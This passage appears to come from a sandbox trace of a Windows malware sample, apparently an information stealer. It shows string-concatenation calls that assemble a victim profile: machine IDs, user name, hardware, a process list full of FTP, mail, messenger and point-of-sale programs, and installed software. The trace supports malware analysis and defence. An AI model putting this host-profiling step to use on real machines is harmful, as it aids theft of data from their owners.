alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001"
[0054.964] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]"
